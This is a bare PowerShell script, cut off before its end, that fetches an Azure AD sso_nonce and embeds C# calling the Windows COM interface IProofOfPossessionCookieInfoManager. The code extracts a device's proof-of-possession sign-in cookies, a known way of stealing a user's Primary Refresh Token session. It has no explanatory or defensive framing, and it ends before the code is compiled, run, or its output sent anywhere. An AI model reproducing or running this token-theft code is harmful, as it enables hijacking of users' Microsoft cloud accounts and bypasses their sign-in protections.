$params = @{
resource = "https://graph.microsoft.com/"
client_id = "ecd6b820-32c2-49b6-98a6-444530e5a77a"
response_type = "code"
redirect_uri = "https://login.microsoftonline.com/common/oauth2/nativeclient"
}
# Build the query string.
$query = ($params.GetEnumerator() | ForEach-Object { "$($_.Key)=$($_.Value)" }) -join "&"
$nonceRequestUri = "https://login.microsoftonline.com/Common/oauth2/authorize?$query"
# Use a Microsoft Edge–like user agent.
$headers = @{
"User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 Edg/98.0.1108.56"
}
# Request the nonce without following redirects.
try {
$nonceResponse = Invoke-WebRequest -Uri $nonceRequestUri -Method GET -Headers $headers -MaximumRedirection 0 -UseBasicParsing -ErrorAction Stop
} catch [System.Net.WebException] {
$webResponse = $_.Exception.Response
$stream = $webResponse.GetResponseStream()
$reader = New-Object System.IO.StreamReader($stream)
$content = $reader.ReadToEnd()
$nonceResponse = New-Object PSObject -Property @{
StatusCode = $webResponse.StatusCode
Headers = $webResponse.Headers
Content = $content
}
}
$nonce = $null
if ($nonceResponse.StatusCode -eq 302 -and $nonceResponse.Headers["Location"]) {
$redirectLocation = $nonceResponse.Headers["Location"]
$uriObj = [Uri]$redirectLocation
$queryParams = [System.Web.HttpUtility]::ParseQueryString($uriObj.Query)
if ($queryParams["sso_nonce"]) {
$nonce = $queryParams["sso_nonce"]
} else {
exit 1
}
} else {
$content = $nonceResponse.Content
$startPos = $content.IndexOf('$Config=')
$stopPos = $content.IndexOf('//]]></script>', $startPos)
if ($startPos -eq -1 -or $stopPos -eq -1) { exit 1 }
$jsonText = $content.Substring($startPos + 8, $stopPos - ($startPos + 8) - 2)
try {
$jdata = $jsonText | ConvertFrom-Json
if ($jdata.bsso.nonce) {
$nonce = $jdata.bsso.nonce
} else {
exit 1
}
} catch {
exit 1
}
}
if (-not $nonce) { exit 1 }
$cookieUri = "https://login.microsoftonline.com/common/oauth2/authorize?sso_nonce=$nonce"
$source = @"
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
public class CookieInfo {
public string Name;
public string Data;
public uint Flags;
public string P3PHeader;
}
[StructLayout(LayoutKind.Sequential)]
struct UnsafeCookieInfo {
public IntPtr NameStr;
public IntPtr DataStr;
public uint Flags;
public IntPtr P3PHeaderStr;
}
[ComImport, Guid("CDAECE56-4EDF-43DF-B113-88E4556FA1BB"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IProofOfPossessionCookieInfoManager {
int GetCookieInfoForUri([MarshalAs(UnmanagedType.LPWStr)] string uri, out uint cookieInfoCount, out IntPtr output);
}
[ComImport, Guid("A9927F85-A304-4390-8B23-A75F1C668600")]
class WindowsTokenProvider {
}
public class CookieFetcher {
public static List<CookieInfo> GetCookies(string uri) {
IProofOfPossessionCookieInfoManager manager = (IProofOfPossessionCookieInfoManager)new WindowsTokenProvider();
uint count;
IntPtr ptr;
int hr = manager.GetCookieInfoForUri(uri, out count, out ptr);
var list = new List<CookieInfo>();
if (count == 0 || ptr == IntPtr.Zero) {
return list;
}
int structSize = Marshal.SizeOf(typeof(UnsafeCookieInfo));
IntPtr current = ptr;
for (int i = 0; i < count; i++) {
UnsafeCookieInfo info = (UnsafeCookieInfo)Marshal.PtrToStructure(current, typeof(UnsafeCookieInfo));
CookieInfo cookie = new CookieInfo {
Name = Marshal.PtrToStringUni(info.NameStr),
Data = Marshal.PtrToStringUni(info.DataStr),
Flags = info.Flags,
P3PHeader = Marshal.PtrToStringUni(info.P3PHeaderStr)
};
list.Add(cookie);
Marshal.FreeCoTaskMem(info.NameStr);
Marshal.FreeCoTaskMem(info.DataStr);
Marshal.FreeCoTaskMem(info.P3PHeaderStr);
current = new IntPtr(current.ToInt64() + structSize);
}
Marshal.FreeCoTaskMem(ptr);
return list;
}
}
"@